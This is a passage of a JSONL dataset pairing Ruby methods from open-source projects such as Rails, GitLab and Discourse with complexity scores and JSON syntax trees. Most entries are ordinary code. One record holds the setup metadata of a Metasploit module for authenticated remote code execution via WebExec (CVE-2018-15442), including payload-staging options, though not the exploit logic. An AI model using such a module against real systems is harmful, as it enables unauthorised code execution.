end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rollback_when_saving_a_frozen_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"freeze\"]},{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"FrozenError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"save\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"frozen\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"persisted?\"]},{\"type\":\"str\",\"children\":[\"not persisted\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"frozen?\"]},{\"type\":\"str\",\"children\":[\"not frozen\"]}]}]}]}","id":"fe6c7630-e403-45dd-aaf3-b27ef4d5263e"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/util.rb","start_line":162,"raw_source":"def self.find_timestamp(handle)\n handle\n .lazy\n .take(250)\n .map { |line| log_timestamp($1) if line =~ LOG_TIMESTAMP_REGEX }\n .reject(&:nil?)\n .first\n end","complexity_score":14.85,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_timestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handle\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handle\"]},\"lazy\"]},\"take\",{\"type\":\"int\",\"children\":[250]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"=~\",{\"type\":\"const\",\"children\":[null,\"LOG_TIMESTAMP_REGEX\"]}]},{\"type\":\"send\",\"children\":[null,\"log_timestamp\",{\"type\":\"nth_ref\",\"children\":[1]}]},null]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"nil?\"]}]}]},\"first\"]}]}","id":"96c4689c-69bf-4615-bdce-c1888ee7906c"} {"repo_name":"forem","file_path":"./repos/forem/spec/liquid_tags/github_tag/github_issue_tag_spec.rb","start_line":14,"raw_source":"def generate_tag(url)\n Liquid::Template.register_tag(\"github\", GithubTag)\n Liquid::Template.parse(\"{% github #{url} %}\")\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"register_tag\",{\"type\":\"str\",\"children\":[\"github\"]},{\"type\":\"const\",\"children\":[null,\"GithubTag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Template\"]},\"parse\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% github \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"str\",\"children\":[\" %}\"]}]}]}]}]}","id":"b42d9192-8103-43de-ab38-c7fec5ee9ffe"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auth/container_registry_authentication_service.rb","start_line":107,"raw_source":"def self.token_expire_at\n Time.current + Gitlab::CurrentSettings.container_registry_token_expire_delay.minutes\n end","complexity_score":4.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token_expire_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"container_registry_token_expire_delay\"]},\"minutes\"]}]}]}","id":"f024af56-c1bb-4852-bec2-86bf95a13e6f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/queries.rb","start_line":290,"raw_source":"def self.all\n ['.', 'ee'].flat_map do |prefix|\n find(Rails.root / prefix / 'app/assets/javascripts') + find(Rails.root / prefix / 'app/graphql/queries')\n end\n end","complexity_score":15.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"ee\"]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},\"/\",{\"type\":\"str\",\"children\":[\"app/assets/javascripts\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},\"/\",{\"type\":\"str\",\"children\":[\"app/graphql/queries\"]}]}]}]}]}]}","id":"94922158-fb3c-427c-ac9e-2235ce7ef4f9"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/attribute_cache_test.rb","start_line":43,"raw_source":"def test_cached_attribute_values_are_expired_from_the_cache_when_an_existing_record_is_saved\n assert_queries(1) { assert_equal(\"foo\", AssociatedRecord.fetch_name_by_id(1)) }\n assert_queries(0) { assert_equal(\"foo\", AssociatedRecord.fetch_name_by_id(1)) }\n\n @record.update!(updated_at: @record.updated_at + 1)\n\n assert_queries(1) { assert_equal(\"foo\", AssociatedRecord.fetch_name_by_id(1)) }\n end","complexity_score":18.88,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cached_attribute_values_are_expired_from_the_cache_when_an_existing_record_is_saved\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_name_by_id\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_name_by_id\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"updated_at\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"fetch_name_by_id\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"c8cb3c90-bb15-410d-af1d-d9012f0b59bb"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deploy_token.rb","start_line":180,"raw_source":"def expires_at=(value)\n write_attribute(:expires_at, value.presence || Forever.date)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expires_at=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"write_attribute\",{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"presence\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Forever\"]},\"date\"]}]}]}]}","id":"233b66fa-1b74-494a-a7f9-fc1e8e02c8b8"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/models/eye.rb","start_line":97,"raw_source":"def update_after_save_counter\n @after_save_callbacks_counter ||= 0\n @after_save_callbacks_counter += 1\n end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_after_save_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@after_save_callbacks_counter\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@after_save_callbacks_counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"800987f7-a162-49f4-b4e5-057ff572e48e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/labels/find_or_create_service.rb","start_line":47,"raw_source":"def find_existing_label(title)\n return existing_labels_by_title[title] if existing_labels_by_title\n\n available_labels.find_by(title: title)\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_existing_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_labels_by_title\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"existing_labels_by_title\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_labels\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}]}]}","id":"d555020e-0828-42b7-8c02-e9a47161af0c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/webexec.rb","start_line":26,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'WebExec Authenticated User Code Execution',\n 'Description' => %q{\n This module uses a valid username and password of any level (or\n password hash) to execute an arbitrary payload. This module is similar\n to the \"psexec\" module, except allows any non-guest account by default.\n },\n 'Author' => [\n 'Ron <ron@skullsecurity.net>',\n ],\n 'License' => MSF_LICENSE,\n 'Privileged' => true,\n 'DefaultOptions' => {\n 'WfsDelay' => 10,\n 'EXITFUNC' => 'thread'\n },\n 'References' => [\n ['URL', 'https://webexec.org'],\n [ 'CVE', '2018-15442' ],\n ],\n 'Payload' => {\n 'Space' => 3072,\n 'DisableNops' => true\n },\n 'Platform' => 'win',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Targets' => [\n [ 'Automatic', {} ],\n [ 'Native upload', {} ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2018-10-24',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n # This has to be a full path, %ENV% variables are not expanded\n OptString.new('TMPDIR', [ true, \"The directory to stage our payload in\", \"c:\\\\Windows\\\\Temp\\\\\" ])\n ]\n )\n\n register_advanced_options(\n [\n OptBool.new('ALLOW_GUEST', [true, \"Keep trying if only given guest access\", false]),\n OptInt.new('MAX_LINE_LENGTH', [true, \"The length of lines when splitting up the payload\", 1000]),\n ]\n )\n end","complexity_score":9.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WebExec Authenticated User Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module uses a valid username and password of any level (or\\n\"]},{\"type\":\"str\",\"children\":[\" password hash) to execute an arbitrary payload. This module is similar\\n\"]},{\"type\":\"str\",\"children\":[\" to the \\\"psexec\\\" module, except allows any non-guest account by default.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ron <ron@skullsecurity.net>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://webexec.org\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-15442\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[3072]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Native upload\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2018-10-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TMPDIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The directory to stage our payload in\"]},{\"type\":\"str\",\"children\":[\"c:\\\\Windows\\\\Temp\\\\\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"ALLOW_GUEST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Keep trying if only given guest access\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAX_LINE_LENGTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The length of lines when splitting up the payload\"]},{\"type\":\"int\",\"children\":[1000]}]}]}]}]}]}]}","id":"4995ae80-be02-46ea-8f8e-eb8f84e07d12"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/issue/show.rb","start_line":85,"raw_source":"def has_description?(description)\n find_element('gfm-content').text.include?(description)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_description?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"gfm-content\"]}]},\"text\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}","id":"65d25052-05b7-4f9c-b846-43f878cb4a7b"} {"repo_name":"spree","file_path":"./repos/spree/sample/lib/spree/sample.rb","start_line":18,"raw_source":"def self.samples_path\n Pathname.new(File.join(File.dirname(__FILE__), '..', '..', 'db', 'samples'))\n end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"samples_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"db\"]},{\"type\":\"str\",\"children\":[\"samples\"]}]}]}]}","id":"0fc63e1a-ccc2-472f-8fde-08886747c1ed"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/conflicts/list_service.rb","start_line":15,"raw_source":"def can_be_resolved_in_ui?\n return @conflicts_can_be_resolved_in_ui if defined?(@conflicts_can_be_resolved_in_ui)\n\n # #cannot_be_merged? is generally indicative of conflicts, and is set via\n # MergeRequests::MergeabilityCheckService. However, it can also indicate\n # that either #has_no_commits? or #branch_missing? are true.\n #\n return @conflicts_can_be_resolved_in_ui = false unless merge_request.cannot_be_merged?\n return @conflicts_can_be_resolved_in_ui = false unless merge_request.has_complete_diff_refs?\n return @conflicts_can_be_resolved_in_ui = false if merge_request.branch_missing?\n\n @conflicts_can_be_resolved_in_ui = conflicts.can_be_resolved_in_ui?\n end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"can_be_resolved_in_ui?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conflicts_can_be_resolved_in_ui\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conflicts_can_be_resolved_in_ui\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"cannot_be_merged?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conflicts_can_be_resolved_in_ui\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"has_complete_diff_refs?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conflicts_can_be_resolved_in_ui\",{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"branch_missing?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conflicts_can_be_resolved_in_ui\",{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@conflicts_can_be_resolved_in_ui\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conflicts\"]},\"can_be_resolved_in_ui?\"]}]}]}]}","id":"462047fc-58df-43e7-99e5-3d69d813215b"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_options_helper_test.rb","start_line":1559,"raw_source":"def test_weekday_options_for_select_with_no_params\n assert_dom_equal(\n \"<option value=\\\"Monday\\\">Monday</option>\\n<option value=\\\"Tuesday\\\">Tuesday</option>\\n<option value=\\\"Wednesday\\\">Wednesday</option>\\n<option value=\\\"Thursday\\\">Thursday</option>\\n<option value=\\\"Friday\\\">Friday</option>\\n<option value=\\\"Saturday\\\">Saturday</option>\\n<option value=\\\"Sunday\\\">Sunday</option>\",\n weekday_options_for_select\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_weekday_options_for_select_with_no_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<option value=\\\"Monday\\\">Monday</option>\\n<option value=\\\"Tuesday\\\">Tuesday</option>\\n<option value=\\\"Wednesday\\\">Wednesday</option>\\n<option value=\\\"Thursday\\\">Thursday</option>\\n<option value=\\\"Friday\\\">Friday</option>\\n<option value=\\\"Saturday\\\">Saturday</option>\\n<option value=\\\"Sunday\\\">Sunday</option>\"]},{\"type\":\"send\",\"children\":[null,\"weekday_options_for_select\"]}]}]}","id":"16a1c7b2-50a5-4b8b-90ca-e4391b25af8e"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/antispam.rb","start_line":39,"raw_source":"def local_preflight_check!\n return unless considered_spam?\n\n report_if_needed!\n\n raise SilentlyDrop, @status\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"local_preflight_check!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"considered_spam?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"report_if_needed!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SilentlyDrop\"]},{\"type\":\"ivar\",\"children\":[\"@status\"]}]}]}]}","id":"60ffce31-cd2f-44ad-85b5-b15669158ed1"} {"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/clean_up_uploads.rb","start_line":64,"raw_source":"def last_cleanup\n timestamp = Discourse.redis.get(last_cleanup_key)\n timestamp ? timestamp.to_i : timestamp\n end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"last_cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"get\",{\"type\":\"send\",\"children\":[null,\"last_cleanup_key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp\"]},\"to_i\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]}]}","id":"d0eef963-745e-412d-b459-b96435937c9f"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/product_scopes.rb","start_line":24,"raw_source":"def self.add_simple_scopes(scopes)\n scopes.each do |name|\n # We should not define price scopes here, as they require something slightly different\n next if name.to_s.include?('master_price')\n\n parts = name.to_s.match(/(.*)_by_(.*)/)\n scope(name.to_s, -> { order(Arel.sql(sanitize_sql(\"#{Product.quoted_table_name}.#{parts[2]} #{parts[1] == 'ascend' ? 'ASC' : 'DESC'}\"))) })\n end\n end","complexity_score":30.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_simple_scopes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scopes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scopes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"master_price\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(.*)_by_(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"send\",\"children\":[null,\"sanitize_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"quoted_table_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",